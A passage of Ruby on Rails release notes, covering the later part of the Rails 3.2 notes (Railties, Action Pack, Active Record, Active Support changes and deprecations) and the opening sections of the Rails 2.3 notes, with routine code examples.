  - `sass-rails ~> 3.2.3`
  - `coffee-rails ~> 3.2.1`
  - `uglifier >= 1.0.3`
- Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
- There are a couple of new configuration changes you'd want to add in `config/environments/development.rb`:

```
# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict

# Log the query plan for queries taking more than this (works
# with SQLite, MySQL, and PostgreSQL)
config.active_record.auto_explain_threshold_in_seconds = 0.5
```

The `mass_assignment_sanitizer` config also needs to be added in `config/environments/test.rb`:

```
# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict
```

2 Creating a Rails 3.2 application

```
# You should have the 'rails' rubygem installed
$ rails new myapp
$ cd myapp
```

2.1 Vendoring Gems

Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the **Bundler** gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: **Bundler homepage**

2.2 Living on the Edge

`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:

```
$ rails new myapp --edge
```

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:

```
$ ruby /path/to/rails/railties/bin/rails new myapp --dev
```

3 Major Features

3.1 Faster Development Mode & Routing

Rails 3.2 comes with a development mode that's noticeably faster. Inspired by **Active Reload**, Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new **Journey** engine.

3.2 Automatic Query Explains

Rails 3.2 comes with a nice feature that explains queries generated by ARel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query ARel produces is explained. This allows to check for the proper indexes and further optimizations.

Queries that take more than half a second to run are **automatically** explained in the development mode. This threshold, of course, can be changed.

3.3 Tagged Logging

When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.

4 Documentation

From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.

5 Railties

- Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting `config.reload_classes_only_on_change` to false.
- New applications get a flag `config.active_record.auto_explain_threshold_in_seconds` in the environments configuration files. With a value of `0.5` in `development.rb` and commented out in `production.rb`. No mention in `test.rb`.
- Added `config.exceptions_app` to set the exceptions application invoked by the `ShowException` middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.
- Added a `DebugExceptions` middleware which contains features extracted from `ShowExceptions` middleware.
- Display mounted engines' routes in `rake routes`.
- Allow to change the loading order of railties with `config.railties_order` like:

```
config.railties_order = [Blog::Engine, :main_app, :all]
```

- Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box.
- Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id — both very helpful in debugging multi-user production applications.
- Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time 'rails new' runs in the `.railsrc` configuration file in your home directory.
- Add an alias `d` for `destroy`. This works for engines too.
- Attributes on scaffold and model generators default to string. This allows the following: `rails g scaffold Post title body:text author`
- Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,

```
rails g scaffold Post title:string:index author:uniq price:decimal{7,2}
```

will create indexes for `title` and `author` with the latter being an unique index. Some types such as decimal accept custom options. In the example, `price` will be a decimal column with precision and scale set to 7 and 2 respectively.

- Turn gem has been removed from default Gemfile.
- Remove old plugin generator `rails generate plugin` in favor of `rails plugin new` command.

- Remove old `config.paths.app.controller` API in favor of `config.paths["app/controller"]`.

5.1 Deprecations

- `Rails::Plugin` is deprecated and will be removed in Rails 4.0. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies.

6 Action Mailer

- Upgraded `mail` version to 2.4.0.
- Removed the old Action Mailer API which was deprecated since Rails 3.0.

7 Action Pack

7.1 Action Controller

- Make `ActiveSupport::Benchmarkable` a default module for `ActionController::Base`, so the `#benchmark` method is once again available in the controller context like it used to be.
- Added `:gzip` option to `caches_page`. The default option can be configured globally using `page_cache_compression`.
- Rails will now use your default layout (such as "layouts/application") when you specify a layout with `:only` and `:except` condition, and those conditions fail.

```
class CarsController
  layout 'single_car', :only => :show
end
```

Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions.

- form_for is changed to use "#{action}_#{as}" as the css class and id if `:as` option is provided. Earlier versions used "#{as}_#{action}".
- `ActionController::ParamsWrapper` on ActiveRecord models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`.
- Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.
- `ActionDispatch::ShowExceptions` is refactored. The controller is responsible for choosing to show exceptions. It's possible to override `show_detailed_exceptions?` in controllers to specify which requests should provide debugging information on errors.
- Responders now return 204 No Content for API requests without a response body (as in the new scaffold).
- `ActionController::TestCase` cookies is refactored. Assigning cookies for test cases should now use `cookies[]`

```
cookies[:email] = 'user@example.com'
get :index
assert_equal 'user@example.com', cookies[:email]
```

To clear the cookies, use `clear`.

```
cookies.clear
get :index
assert_nil cookies[:email]
```

We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created.

- `send_file` now guesses the MIME type from the file extension if `:type` is not provided.

- MIME type entries for PDF, ZIP and other formats were added.
- Allow fresh_when/stale? to take a record instead of an options hash.
- Changed log level of warning for missing CSRF token from `:debug` to `:warn`.
- Assets should use the request protocol by default or default to relative if no request is available.

7.1.1 Deprecations

- Deprecated implied layout lookup in controllers whose parent had a explicit layout set:

```
class ApplicationController
  layout "application"
end

class PostsController < ApplicationController
end
```

In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`.

- Deprecated `ActionController::UnknownAction` in favour of `AbstractController::ActionNotFound`.
- Deprecated `ActionController::DoubleRenderError` in favour of `AbstractController::DoubleRenderError`.
- Deprecated `method_missing` in favour of `action_missing` for missing actions.
- Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`.

7.2 Action Dispatch

- Add `config.action_dispatch.default_charset` to configure default charset for `ActionDispatch::Response`.
- Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.
- The `ShowExceptions` middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code.
- Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`.

7.2.1 Deprecations

- Deprecated the ability to set a default charset at the controller level, use the new `config.action_dispatch.default_charset` instead.

7.3 Action View

- Add `button_tag` support to `ActionView::Helpers::FormBuilder`. This support mimics the default behavior of `submit_tag`.

```
<%= form_for @post do |f| %>
  <%= f.button %>
<% end %>
```

- Date helpers accept a new option `:use_two_digit_numbers => true`, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'.

- You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.

```
<%= form_for(@offer, :namespace => 'namespace') do |f| %>
  <%= f.label :version, 'Version' %>:
  <%= f.text_field :version %>
<% end %>
```

- Limit the number of options for `select_year` to 1000. Pass `:max_years_allowed` option to set your own limit.
- `content_tag_for` and `div_for` can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this:

```
@items.each do |item|
  content_tag_for(:li, item) do
     Title: <%= item.title %>
  end
end
```

You can do this:

```
content_tag_for(:li, @items) do |item|
  Title: <%= item.title %>
end
```

- Added `font_path` helper method that computes the path to a font asset in `public/fonts`.

7.3.1 Deprecations

- Passing formats or handlers to render :template and friends like `render :template => "foo.html.erb"` is deprecated. Instead, you can provide :handlers and :formats directly as an options: `render :template => "foo", :formats => [:html, :js], :handlers => :erb`.

7.4 Sprockets

- Adds a configuration option `config.assets.logger` to control Sprockets logging. Set it to `false` to turn off logging and to `nil` to default to `Rails.logger`.

8 Active Record

- Boolean columns with 'on' and 'ON' values are type casted to true.
- When the `timestamps` method creates the `created_at` and `updated_at` columns, it makes them non-nullable by default.
- Implemented `ActiveRecord::Relation#explain`.
- Implements `AR::Base.silence_auto_explain` which allows the user to selectively disable automatic EXPLAINs within a block.
- Implements automatic EXPLAIN logging for slow queries. A new configuration parameter `config.active_record.auto_explain_threshold_in_seconds` determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL.
- Added `ActiveRecord::Base.store` for declaring simple single-column key/value stores.

```
class User < ActiveRecord::Base
  store :settings, accessors: [ :color, :homepage ]
end

u = User.new(color: 'black', homepage: '37signals.com')
u.color                          # Accessor stored attribute
u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
```

- Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed).

```
rake db:migrate SCOPE=blog
```

- Migrations copied from engines are now scoped with engine's name, for example `01_create_posts.blog.rb`.
- Implemented `ActiveRecord::Relation#pluck` method that returns an array of column values directly from the underlying table. This also works with serialized attributes.

```
Client.where(:active => true).pluck(:id)
# SELECT id from clients where active = 1
```

- Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named `MyModel::GeneratedFeatureMethods`. It is included into the model class immediately after the `generated_attributes_methods` module defined in Active Model, so association methods override attribute methods of the same name.
- Add `ActiveRecord::Relation#uniq` for generating unique queries.

```
Client.select('DISTINCT name')
```

..can be written as:

```
Client.select(:name).uniq
```

This also allows you to revert the uniqueness in a relation:

```
Client.select(:name).uniq.uniq(false)
```

- Support index sort order in SQLite, MySQL and PostgreSQL adapters.
- Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string.

```
has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized
```

- In development mode, `db:drop` also drops the test database in order to be symmetric with `db:create`.
- Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation.
- Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures.
- Add `first_or_create`, `first_or_create!`, `first_or_initialize` methods to Active Record. This is a better approach over the old `find_or_create_`by dynamic methods because it's clearer which arguments are used to find the record and which are used to create it.

```
User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")
```

- Added a `with_lock` method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to `lock!`.

This makes it possible to write the following:

```
class Order < ActiveRecord::Base
  def cancel!
    transaction do
      lock!
      # ... cancelling logic
    end
  end
end
```

as:

```
class Order < ActiveRecord::Base
  def cancel!
    with_lock do
      # ... cancelling logic
    end
  end
end
```

8.1 Deprecations

- Automatic closure of connections in threads is deprecated. For example the following code is deprecated:

```
Thread.new { Post.find(1) }.join
```

It should be changed to close the database connection at the end of the thread:

```
Thread.new {
  Post.find(1)
  Post.connection.close
}.join
```

Only people who spawn threads in their application code need to worry about this change.

- The `set_table_name`, `set_inheritance_column`, `set_sequence_name`, `set_primary_key`, `set_locking_column` methods are deprecated. Use an assignment method instead. For example, instead of `set_table_name`, use `self.table_name=`.

```
class Project < ActiveRecord::Base
  self.table_name = "project"
end
```

Or define your own `self.table_name` method:

```
class Post < ActiveRecord::Base
  def self.table_name
    "special_" + super
  end
end

Post.table_name # => "special_posts"
```

9 Active Model

- Add `ActiveModel::Errors#added?` to check if a specific error has been added.
- Add ability to define strict validations with `strict => true` that always raises exception when fails.
- Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior.

9.1 Deprecations

- Deprecated `define_attr_method` in `ActiveModel::AttributeMethods` because this only existed to support methods like `set_table_name` in Active Record, which are themselves being deprecated.
- Deprecated `Model.model_name.partial_path` in favor of `model.to_partial_path`.

10 Active Resource

- Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found.

11 Active Support

- Added `ActiveSupport:TaggedLogging` that can wrap any standard `Logger` class to provide tagging capabilities.

```
Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))

Logger.tagged("BCX") { Logger.info "Stuff" }
# Logs "[BCX] Stuff"

Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
# Logs "[BCX] [Jason] Stuff"

Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } }
# Logs "[BCX] [Jason] Stuff"
```

- The `beginning_of_week` method in `Date`, `Time` and `DateTime` accepts an optional argument representing the day in which the week is assumed to start.
- `ActiveSupport::Notifications.subscribed` provides subscriptions to events while a block runs.
- Defined new methods `Module#qualified_const_defined?`, `Module#qualified_const_get` and `Module#qualified_const_set` that are analogous to the corresponding methods in the standard API, but accept qualified constant names.
- Added `#deconstantize` which complements `#demodulize` in inflections. This removes the rightmost segment in a qualified constant name.
- Added `safe_constantize` that constantizes a string but returns `nil` instead of raising an exception if the constant (or part of it) does not exist.
- `ActiveSupport::OrderedHash` is now marked as extractable when using `Array#extract_options!`.
- Added `Array#prepend` as an alias for `Array#unshift` and `Array#append` as an alias for `Array#<<`.
- The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U+3000 is considered to be whitespace.
- The inflector understands acronyms.
- Added `Time#all_day`, `Time#all_week`, `Time#all_quarter` and `Time#all_year` as a way of generating ranges.

```
Event.where(:created_at => Time.now.all_week)
Event.where(:created_at => Time.now.all_day)
```

- Added `instance_accessor: false` as an option to `Class#cattr_accessor` and friends.
- `ActiveSupport::OrderedHash` now has different behavior for `#each` and `#each_pair` when given a block accepting its parameters with a splat.
- Added `ActiveSupport::Cache::NullStore` for use in development and testing.
- Removed `ActiveSupport::SecureRandom` in favor of `SecureRandom` from the standard library.

11.1 Deprecations

- `ActiveSupport::Base64` is deprecated in favor of `::Base64`.
- Deprecated `ActiveSupport::Memoizable` in favor of Ruby memoization pattern.
- `Module#synchronize` is deprecated with no replacement. Please use monitor from ruby's standard library.
- Deprecated `ActiveSupport::MessageEncryptor#encrypt` and `ActiveSupport::MessageEncryptor#decrypt`.
- `ActiveSupport::BufferedLogger#silence` is deprecated. If you want to squelch logs for a certain block, change the log level for that block.
- `ActiveSupport::BufferedLogger#open_log` is deprecated. This method should not have been public in the first

place.

- `ActiveSupport::BufferedLogger`'s behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating.
- `ActiveSupport::BufferedLogger#auto_flushing` is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing.

```
f = File.open('foo.log', 'w')
f.sync = true
ActiveSupport::BufferedLogger.new f
```

- `ActiveSupport::BufferedLogger#flush` is deprecated. Set sync on your filehandle, or tune your filesystem.

12 Credits

See the **full list of contributors to Rails** for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Rails 3.2 Release Notes were compiled by **Vijay Dev**.

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Ruby on Rails 2.3 Release Notes

Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the **list of commits** in the main Rails repository on GitHub or review the `CHANGELOG` files for the individual Rails components.

Chapters

1. Application Architecture
    - Rack Integration
    - Renewed Support for Rails Engines
2. Documentation
3. Ruby 1.9.1 Support
4. Active Record
    - Nested Attributes
    - Nested Transactions
    - Dynamic Scopes
    - Default Scopes
    - Batch Processing
    - Multiple Conditions for Callbacks
    - Find with having
    - Reconnecting MySQL Connections
    - Other Active Record Changes
5. Action Controller
    - Unified Rendering
    - Application Controller Renamed
    - HTTP Digest Authentication Support
    - More Efficient Routing
    - Rack-based Lazy-loaded Sessions
    - MIME Type Handling Changes
    - Optimization of `respond_to`
    - Improved Caching Performance
    - Localized Views
    - Partial Scoping for Translations
    - Other Action Controller Changes
6. Action View
    - Nested Object Forms
    - Smart Rendering of Partials
    - Prompts for Date Select Helpers
    - AssetTag Timestamp Caching
    - Asset Hosts as Objects
    - grouped_options_for_select Helper Method
    - Disabled Option Tags for Form Select Helpers
    - A Note About Template Loading
    - Other Action View Changes
7. Active Support
    - Object#try
    - Object#tap Backport
    - Swappable Parsers for XMLmini
    - Fractional seconds for TimeWithZone
    - JSON Key Quoting
    - Other Active Support Changes
8. Railties
    - Rails Metal
    - Application Templates
    - Quieter Backtraces
    - Faster Boot Time in Development Mode with Lazy Loading/Autoload

    - Faster Boot Time in Development Mode with Lazy Loading/Autoload
    - rake gem Task Rewrite
    - Other Railties Changes
9. Deprecated
10. Credits

1 Application Architecture

There are two major changes in the architecture of Rails applications: complete integration of the **Rack** modular web server interface, and renewed support for Rails Engines.

1.1 Rack Integration

Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:

- Sessions
- Cookies
- File uploads
- JSON/XML APIs

Here's a summary of the rack-related changes:

- `script/server` has been switched to use Rack, which means it supports any Rack compatible server. `script/server` will also pick up a rackup configuration file if one exists. By default, it will look for a `config.ru` file, but you can override this with the `-c` switch.
- The FCGI handler goes through Rack.
- `ActionController::Dispatcher` maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in `environment.rb`.
- The `rake middleware` task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
- The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
- `ActionController::CGIHandler` is a backwards compatible CGI wrapper around Rack. The `CGIHandler` is meant to take an old CGI object and convert its environment information into a Rack compatible form.
- `CgiRequest` and `CgiResponse` have been removed.
- Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
- You no longer need to use `CGI::Cookie.new` in your tests for setting a cookie value. Assigning a `String` value to request.cookies["foo"] now sets the cookie as expected.
- `CGI::Session::CookieStore` has been replaced by `ActionController::Session::CookieStore`.
- `CGI::Session::MemCacheStore` has been replaced by `ActionController::Session::MemCacheStore`.
- `CGI::Session::ActiveRecordStore` has been replaced by `ActiveRecord::SessionStore`.
- You can still change your session store with `ActionController::Base.session_store = :active_record_store`.
- Default sessions options are still set with `ActionController::Base.session = { :key => "..." }`. However, the `:session_domain` option has been renamed to `:domain`.
- The mutex that normally wraps your entire request has been moved into middleware, `ActionController::Lock`.
- `ActionController::AbstractRequest` and `ActionController::Request` have been unified. The new `ActionController::Request` inherits from `Rack::Request`. This affects access to `response.headers['type']` in test requests. Use `response.content_type` instead.
- `ActiveRecord::QueryCache` middleware is automatically inserted onto the middleware stack if `ActiveRecord` has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
- The Rails router and controller classes follow the Rack spec. You can call a controller directly with `SomeController.call(env)`. The router stores the routing parameters in `rack.routing_args`.
- `ActionController::Request` inherits from `Rack::Request`.
- Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`.
- Using the `ParamsParser` middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any `Rack::Request` object after it.

1.2 Renewed Support for Rails Engines

After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your `routes.rb` file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.

2 Documentation

The **Ruby on Rails guides** project has published several additional guides for Rails 2.3. In addition, a **separate site** maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the **Rails wiki** and early planning for a Rails Book.

- More Information: **Rails Documentation Projects**.

3 Ruby 1.9.1 Support

Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.

4 Active Record

Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.

4.1 Nested Attributes

Active Record can now update the attributes on nested models directly, provided you tell it to do so:

```
class Book < ActiveRecord::Base
  has_one :author
  has_many :pages

  accepts_nested_attributes_for :author, :pages
end
```

Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).

You can also specify requirements for any new records that are added via nested attributes using the `:reject_if` option:

```
accepts_nested_attributes_for :author,
  :reject_if => proc { |attributes| attributes['name'].blank? }
```

- Lead Contributor: **Eloy Duran**
- More Information: **Nested Model Forms**

4.2 Nested Transactions

Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:

```
User.transaction do
    User.create(:username => 'Admin')
    User.transaction(:requires_new => true) do
      User.create(:username => 'Regular')
      raise ActiveRecord::Rollback
    end
  end

  User.find(:all)  # => Returns only Admin
```

Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the `:requires_new` option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are **using savepoints**, so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.

- Lead Contributors: **Jonathan Viney** and **Hongli Lai**

4.3 Dynamic Scopes

You know about dynamic finders in Rails (which allow you to concoct methods like `find_by_color_and_flavor` on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like `currently_active`). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly *and* method chaining. For example:

```
Order.scoped_by_customer_id(12)
Order.scoped_by_customer_id(12).find(:all,
  :conditions => "status = 'open'")
Order.scoped_by_customer_id(12).scoped_by_status("open")
```

There's nothing to define to use dynamic scopes: they just work.

- Lead Contributor: **Yaroslav Markin**
- More Information: **What's New in Edge Rails: Dynamic Scope Methods**.

4.4 Default Scopes

Rails 2.3 will introduce the notion of *default scopes* similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write `default_scope :order => 'name ASC'` and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).

- Lead Contributor: Paweł Kondzior
- More Information: **What's New in Edge Rails: Default Scoping**

4.5 Batch Processing

You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using `find_in_batches`:

```
Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
  customer_group.each { |customer| customer.update_account_balance! }
end
```

You can pass most of the `find` options into `find_in_batches`. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the `:limit` option. Instead, use the `:batch_size` option, which defaults to 1000, to set the number of records that will be returned in each batch.

The new `find_each` method provides a wrapper around `find_in_batches` that returns individual records, with the find itself being done in batches (of 1000 by default):

```
Customer.find_each do |customer|
  customer.update_account_balance!
end
```

Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.

- More Information (at that point the convenience method was called just `each`):
  - **Rails 2.3: Batch Finding**
  - **What's New in Edge Rails: Batched Find**

4.6 Multiple Conditions for Callbacks

When using Active Record callbacks, you can now combine `:if` and `:unless` options on the same callback, and supply multiple conditions as an array:

```
before_save :update_credit_rating, :if => :active,
  :unless => [:admin, :cash_only]
```

- Lead Contributor: L. Caviola

4.7 Find with having

Rails now has a `:having` option on find (as well as on `has_many` and `has_and_belongs_to_many` associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:

```
developers =  Developer.find(:all, :group => "salary",
  :having => "sum(salary) >  10000", :select => "salary")
```

- Lead Contributor: **Emilio Tagua**

4.8 Reconnecting MySQL Connections

MySQL supports a reconnect flag in its connections – if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set `reconnect = true` for your MySQL connections in `database.yml` to get this behavior from a Rails application. The default is `false`, so the behavior of existing applications doesn't change.

- Lead Contributor: **Dov Murik**
- More information:
  - **Controlling Automatic Reconnection Behavior**
  - **MySQL auto-reconnect revisited**

4.9 Other Active Record Changes

- An extra `AS` was removed from the generated SQL for `has_and_belongs_to_many` preloading, making it work better for some databases.
- `ActiveRecord::Base#new_record?` now returns `false` rather than `nil` when confronted with an existing record.
- A bug in quoting table names in some `has_many :through` associations was fixed.
- You can now specify a particular timestamp for `updated_at` timestamps: `cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)`
- Better error messages on failed `find_by_attribute!` calls.
- Active Record's `to_xml` support gets just a little bit more flexible with the addition of a `:camelize` option.
- A bug in canceling callbacks from `before_update` or `before_create` was fixed.
- Rake tasks for testing databases via JDBC have been added.
- `validates_length_of` will use a custom error message with the `:in` or `:within` options (if one is supplied).
- Counts on scoped selects now work properly, so you can do things like `Account.scoped(:select => "DISTINCT credit_limit").count`.
- `ActiveRecord::Base#invalid?` now works as the opposite of `ActiveRecord::Base#valid?`.

5 Action Controller

Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.

5.1 Unified Rendering

`ActionController::Base#render` is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:

```
render :file => '/tmp/random_file.erb'
render :template => 'other_controller/action'
render :action => 'show'
```

Now in Rails 2.3, you can just supply what you want to render:

```
render '/tmp/random_file.erb'
render 'other_controller/action'
render 'show'
render :show
```

Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (`:inline`, `:text`, `:update`, `:nothing`, `:json`, `:xml`, `:js`) still require an explicit option.

5.2 Application Controller Renamed

If you're one of the people who has always been bothered by the special-case naming of `application.rb`, rejoice! It's

been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, `rake rails:update:application_controller` to do this automatically for you – and it will be run as part of the normal `rake rails:update` process.

- More Information:
  - **The Death of Application.rb**
  - **What's New in Edge Rails: Application.rb Duality is no More**

5.3 HTTP Digest Authentication Support

Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user's password (which is then hashed and compared against the transmitted credentials):

```
class PostsController < ApplicationController
  Users = {"dhh" => "secret"}
  before_filter :authenticate

  def secret
    render :text => "Password Required!"
  end

  private
  def authenticate
    realm = "Application"
    authenticate_or_request_with_http_digest(realm) do |name|
      Users[name]
    end
  end
end
```

- Lead Contributor: **Gregg Kellogg**
- More Information: **What's New in Edge Rails: HTTP Digest Authentication**

5.4 More Efficient Routing

There are a couple of significant routing changes in Rails 2.3. The `formatted_` route helpers are gone, in favor just passing in `:format` as an option. This cuts down the route generation process by 50% for any resource – and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the `formatted_` helpers, it will still work for the time being – but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just `routes.rb`. You can use `RouteSet#add_configuration_file` to bring in more routes at any time – without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.

- Lead Contributors: **Aaron Batalion**

5.5 Rack-based Lazy-loaded Sessions

A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.

5.6 MIME Type Handling Changes

There are a couple of changes to the code for handling MIME types in Rails. First, `MIME::Type` now implements the `=~` operator, making things much cleaner when you need to check for the presence of a type that has synonyms:

```
if content_type && Mime::JS =~ content_type
  # do something cool
end

Mime::JS =~ "text/javascript"        => true
```

```
Mime::JS =~ "application/javascript" => true
```

The other change is that the framework now uses the `Mime::JS` when checking for JavaScript in various spots, making it handle those alternatives cleanly.

- Lead Contributor: **Seth Fitzsimmons**

5.7 Optimization of `respond_to`

